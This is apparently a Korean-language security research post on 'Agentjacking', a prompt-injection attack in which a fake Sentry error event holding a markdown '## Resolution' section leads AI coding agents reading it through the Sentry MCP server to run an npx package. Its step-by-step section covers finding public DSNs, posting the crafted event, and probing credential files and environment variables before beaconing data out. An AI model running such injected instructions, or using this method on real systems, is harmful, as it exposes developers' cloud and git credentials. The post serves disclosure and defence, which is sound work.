Tenet Threat Labs는 공개 Sentry API만으로 단 하나의 가짜 오류 리포트를 주입해 AI 코딩 에이전트가 개발자 머신에서 공격자 제어 코드를 실행하도록 만드는 새로운 공격 기법 ‘Agentjacking’을 시연했다.
Tenet Threat Labs는 새로운 공격 분류인 “Agentjacking”을 시연했습니다. 이 공격은 AI 코딩 에이전트를 탈취해 개발자 머신에서 공격자 제어 코드를 실행하게 만들며, 단 하나의 가짜 오류 리포트로 촉발되고 모든 보안 통제를 피해 보이지 않게 작동합니다. 공개 Sentry API만 사용하고 아무것도 침해하지 않은 상태에서, 우리는 2,388개 조직이 노출되어 있음을 확인했고, 통제된 테스트에서 100개 이상의 에이전트가 주입된 오류에 따라 행동하는 것을 보았으며, Fortune 500 기업부터 독립 개발자에 이르기까지 다양한 조직에서 에이전트 실행이 확인되었습니다.
그림 1 – Agentjacking 체인. 모든 단계가 권한 내에서 이루어지므로 어떤 보안 통제도 이를 보지 못합니다.
Tenet Security Threat Labs의 새로운 연구는, 웹사이트 소스 코드 어디에서나 발견되는 공개 자격 증명 외에는 어떤 인증도 필요하지 않은 단 하나의 주입된 오류 이벤트가 AI 코딩 에이전트를 탈취하여 개발자 머신에서 임의 코드를 실행하게 만들 수 있음을 보여줍니다.
이 공격은 Sentry의 이벤트 수집 구조와 Sentry MCP 서버의 교차 지점에 있는 치명적인 아키텍처 결함을 악용합니다. Sentry의 이벤트 수집은 DSN을 가진 누구에게나 임의 페이로드를 허용하고, Sentry MCP 서버는 이 데이터를 신뢰된 시스템 출력으로 AI 에이전트에게 반환합니다. 공격자는 Sentry 오류 이벤트에 정교하게 조작된 입력을 주입함으로써, 시각적·구조적으로 Sentry 자체의 수정 안내와 구별되지 않는 지시를 만들어냅니다. Claude Code와 Cursor를 포함한 AI 코딩 에이전트는 이를 정당한 ‘진단 해결 단계’로 해석하고 공격자가 제어하는 npm 패키지를 실행합니다.
영향은 다음과 같습니다. 단 하나의 주입된 오류만으로 환경 변수(AWS 키, GitHub 토큰, Sentry 인증 토큰), git 자격 증명, 비공개 저장소 URL, 개발자 신원이 공격자의 손에 들어갈 수 있습니다. 이 정보는 공격자 서버로 조용히 유출되며, 자격 증명 피싱도 없고, 선행 서버 침해도 없고, 개발자가 AI 에이전트에게 Sentry 오류를 조사해 달라고 요청하는 정상 워크플로우 외의 사용자 상호작용도 필요하지 않습니다. 자격 증명 피싱도 없고, 사전 서버 침해도 없고, 개발자가 자신의 AI 에이전트에게 Sentry 오류를 조사하라고 요청하는 평소 워크플로우 외의 사용자 상호작용도 없습니다.
기업들이 AI 코딩 에이전트 도입을 서두르는 가운데, 이 연구는 이제 에이전트 자체가 공격 표면이 되었다는 사실을 입증합니다. 조직이 스스로 공개한 데이터만으로, 이를 신뢰하는 개발자를 향해 에이전트가 역이용될 수 있습니다. 여기서의 혁신은 새로운 익스플로잇이 아니라, 현실 환경에서 얼마나 쉽게 그리고 얼마나 대규모로 에이전트가 탈취될 수 있는가입니다. 이를 막을 수 있는 마지막 지점은 에이전트의 런타임뿐입니다.
Claude Code와 Cursor 같은 현대의 AI 코딩 에이전트는 단순한 자동완성 도구를 넘어, 파일을 읽고, 터미널 명령을 실행하고, 외부 도구를 조회하고, 코드 변경을 수행할 수 있는 강력한 보조 도구로 발전했습니다. Model Context Protocol(MCP)을 통해 이러한 에이전트는 오류 모니터링을 위한 Sentry를 포함한 외부 서비스에 연결되며, 반환되는 데이터를 권위 있는 시스템 출력으로 취급합니다.
위험은 이러한 암묵적 신뢰에 있습니다. AI 에이전트가 Sentry에 미해결 오류를 질의하면, 응답을 받아 개발자처럼 그에 따라 행동합니다. 그러나 개발자와 달리, 에이전트는 오류 이벤트가 실제 애플리케이션 충돌로 생성된 것인지, 아니면 공격자가 주입한 것인지 검증할 수 없습니다. MCP 도구 응답에 대한 에이전트의 신뢰는 주입된 데이터에서 코드 실행으로 이어지는 직접 경로를 만듭니다.
AI 코딩 에이전트는 자신이 읽는 데이터와 행동하라는 지시를 구분할 수 없습니다. 에이전트가 읽게 될 어딘가에 명령을 심어두기만 하면, 심지어 사람이 결코 그런 것을 찾지 않을 오류 로그 같은 곳에 심어두더라도, 에이전트는 그 명령을 그대로 실행할 수 있습니다. 이것은 모델 자체의 한계이지, 패치로 해결할 수 있는 설정 오류가 아닙니다.
이 공격은 공격자에게는 놀라울 만큼 단순하지만 대상에게는 치명적입니다. 시작은 정교하게 조작된 단 하나의 오류 이벤트이며, 이는 공개 DSN을 사용해 Sentry로 POST됩니다. DSN은 설계상 수많은 운영 웹사이트의 JavaScript 소스 안에 존재하는 자격 증명입니다. 침해도 없습니다. 탈취된 자격 증명도 없습니다. 전통적인 의미의 익스플로잇도 없습니다. 공격자는 피해자의 인프라에 손도 대지 않습니다.
악성 지시는 정상적인 “Resolution”으로 위장한 채 일반적인 오류 내부에 도착합니다. 개발자가 자신의 AI 에이전트에게 Sentry 이슈를 수정하라고 요청하면, 에이전트는 공격자의 명령을 신뢰된 안내로 읽고 실행합니다. 그것도 개발자 자신의 권한으로, 개발자 자신의 머신에서 실행합니다.
공격은 다음과 같이 보입니다.
공격의 상세한 단계별 설명:
Step 1: 대상의 Sentry DSN을 찾습니다. 이는 공개적이고 쓰기 전용인 자격 증명으로, Sentry는 이를 프론트엔드 JavaScript에 안전하게 내장할 수 있다고 의도적으로 문서화하고 있습니다. 발견 방법에는 웹사이트의 JavaScript 소스 검사, HTTP 본문에서 ingest.sentry.io를 찾는 Censys 검색, 또는 GitHub 코드 검색이 포함됩니다.
Step 2: 일반 이벤트 생성: 정교하게 조작된 오류 이벤트를 Sentry의 ingest 엔드포인트에 POST합니다. DSN 외에 어떤 인증도 필요하지 않습니다. 공격자는 오류 메시지, 태그, 컨텍스트 키, 추가 데이터, breadcrumbs, 사용자, 스택 트레이스, fingerprint를 포함한 전체 이벤트 페이로드를 제어합니다. Sentry는 이를 수용하고(HTTP 200), 정당한 애플리케이션 오류와 동일하게 처리합니다.
Step 3: Markdown 주입: 주입된 이벤트는 메시지 필드와 컨텍스트 키 이름에 정교하게 서식화된 markdown를 포함합니다. Sentry MCP 서버가 이 이벤트를 AI 에이전트에게 반환하면, markdown는 구조화된 콘텐츠로 렌더링됩니다. 제목, 코드 블록, 표가 Sentry 자체 시스템 템플릿과 시각적으로 동일하게 보입니다. 주입된 콘텐츠에는 npx 명령이 포함된 가짜 ‘## Resolution’ 섹션이 들어 있습니다.
Step 4: 에이전트 조작: 개발자가 자신의 AI 에이전트에게 ‘미해결 Sentry 이슈를 수정해줘’라고 요청하면(또는 이와 관련된 다른 프롬프트를 사용하면), 에이전트는 MCP를 통해 Sentry를 조회하고 주입된 이벤트를 받습니다. 에이전트는 소스 코드 조사를 피하고 제안된 진단 도구를 실행하도록 정교하게 유도됩니다. 에이전트는 이것이 정당한 안내와 구분되지 않습니다.
Step 5: 코드 실행: 에이전트는 다음을 실행합니다: npx @tenet-controlled-validation-package –diagnose. 이 패키지는 공개 npm 레지스트리에서 다운로드되어 개발자의 전체 권한으로 실행됩니다. 패키지에는 통제된 테스트가 Tenet Security에 의해 실행 중임을 명확히 알리는 메시지가 포함되어 있으며, 헤더는 “X-Tenet-Security”, 값은 “ResponsibleDisclosure [SECURITY SCAN]”입니다. 또한 advisory-tracker.com으로 비콘 요청을 보냅니다. Responsible disclosure 메시지도 이 비콘에 함께 첨부됩니다.
Step 6: 패키지는 환경 변수가 존재하는지 확인하고, ~/.aws/config, ~/.npmrc, ~/.docker/config.json의 파일 크기를 탐지하며, 네트워크 인터페이스(VPN 탐지)를 조사합니다. 노출 데이터 검증은 두 번의 연속 POST 요청을 통해 Tenet 비콘 서버로 전송되며, 동시에 기업들에게 관련 정보를 공개합니다. 어떤 정보도 보관되거나 저장되지 않았고, 모든 탐지 데이터는 모범 사례를 따르고 조직들이 Sentry 보안 팀과 함께 적절히 스스로를 보호할 수 있도록 삭제 및 제거되었습니다.
이 공격이 독특한 이유는 개발자를 직접 노리는 것이 아니라, 개발자가 신뢰하는 AI 에이전트를 노린다는 점입니다. 특히 위험한 이유는 다음과 같습니다.
그림 2 – 확인된 조직과 노출된 조직은 여섯 대륙에 걸쳐 있습니다. 각 표식은 캠페인에서 도달한 개별 조직을 나타냅니다.
아래의 모든 값은 픽셀 수준에서 비식별 처리되었습니다. 이 문서 어디에도 실제 자격 증명, 신원, 호스트는 나타나지 않습니다.

피해자가 본 것은 Node.js 버전과 메모리 통계 같은 무해한 진단 출력뿐이었지만, 실제 공격자였다면 에이전트는 살아 있는 클라우드, 소스 제어, 클러스터 자격 증명을 조용히 넘겨주었을 것입니다.
SectorSizeProven Accessible 엔터프라이즈 소프트웨어 및 클라우드(Fortune 500)~$250B 모기업 Claude Code가 두 대의 기업용 Windows 장치에서 실행
존재 확인됨: 클라우드 인프라 토큰, git 토큰 등 과학 / 소프트웨어~$20M 비공개 저장소, 기업 VPN, 존재 확인됨: Cloud/GitHub/Artifactory 자격 증명 호스팅 인프라~$2B 비공개 저장소, 기업 이메일, npm / git / GitHub 자격 증명 부동산 데이터 관리 비상장 조직 git 자격 증명 웹 애플리케이션 스타트업 초기 단계 한 조직의 장치, 운영 환경에 접근 가능한 CI/CD 디지털 마케팅 기업 스타트업 개발 머신 – git, IDE EdTech / HealthTech / FinTech 스타트업 백엔드 개발 환경 + 자격 증명 파일 존재 확인
범위는 약 2,500억 달러 규모의 기술 대기업부터 독립적인 1인 개발자까지 이어졌고, 클라우드 보안 벤더조차 노출 대상에 포함되어 있었습니다. 규모, 업종, 보안 예산 어느 것도 안전을 예측하지 못했습니다.
이 발견은 단순한 또 하나의 취약점이 아닙니다. 이는 소프트웨어 개발 공격 표면의 근본적인 전환을 의미합니다.
수년 동안 공급망 공격은 실제 패키지를 침해하거나(SolarWinds, CodeCov), 타이포스쿼팅으로 개발자를 속이는 데 초점이 맞춰져 있었습니다. 그러나 AI 코딩 에이전트가 있는 환경에서는, 공격자는 더 이상 패키지를 침해하거나 인간을 속일 필요가 없습니다. 그저 AI 에이전트가 신뢰하는 데이터를 주입하기만 하면 됩니다. 관측 가능성 플랫폼은 명령 및 제어 채널이 되고, AI 에이전트는 실행 엔진이 됩니다.
기업 환경에서 단 하나의 주입된 오류는 공격자에게 다음을 허용할 수 있습니다. CI/CD 파이프라인 자격 증명 탈취, 비공개 소스 코드 저장소 접근, 클라우드 인프라 침해, 그리고 지속적 접근 수립까지 모두 가능합니다. 그것도 대상 개발자와의 직접 상호작용 없이 이루어집니다.
위험은 Sentry에만 국한되지 않습니다. 외부 영향을 받은 데이터를 AI 에이전트에게 반환하는 어떤 MCP 도구 통합이든 동일한 취약점 분류를 만들어냅니다. AI 에이전트 생태계가 확장되고 더 많은 도구가 MCP를 통해 연결될수록 공격 표면은 기하급수적으로 커집니다.
Systemic, Undetectable, Not a One-Vendor Bug
이 내용은 2026년 6월 3일, 체인이 확인되자마자 Sentry에 공개되었습니다. Sentry 경영진은 당일 응답하여 문제를 인정했지만, 이를 근본적으로 수정하는 것은 거부했고, 이를 **“technically not defensible”**라고 표현하며 모델 벤더들이 이에 대한 미들웨어를 운영한다고 언급했습니다. 연구 기간 동안 Sentry는 특정 페이로드 문자열을 차단하는 전역 콘텐츠 필터를 활성화하여, 원인을 해결하지 않은 채 활동만 탐지했습니다.
Tenet의 관점은 이렇습니다. 플랫폼 소유자가 이 공격 분류를 소스 단계에서 “not technically defensible”하다고 본다면, 이를 막을 수 있는 마지막 장소는 에이전트가 행동을 결정하는 바로 그 순간의 런타임뿐입니다.
Tenet Security의 발견은 AI 코딩 에이전트가 소프트웨어 개발을 변화시키고 있는 한편, MCP 도구 응답에 대한 암묵적 신뢰가 치명적인 새로운 공격 표면을 만든다는 사실을 드러냅니다. 관측 가능성 플랫폼에 연결된 AI 보조 도구의 편의성은, 그 보조 도구가 오히려 당신을 향한 무기로 전환될 수 있다는 위험을 동반합니다.
보안 리더들은 MCP 통합이 소프트웨어 공급망 공격의 다음 전선이라는 점을 인식해야 합니다. 이제 다음을 평가하기 시작하는 것이 중요합니다. 당신의 AI 에이전트가 어떤 도구에 연결되는지, 그 도구들이 신뢰할 수 없는 데이터를 반환하는지, 그리고 주입된 데이터가 코드 실행을 촉발하지 못하도록 막는 통제가 무엇인지. 개발자 도구를 통한 간접 프롬프트 주입의 시대는 이미 도래했습니다.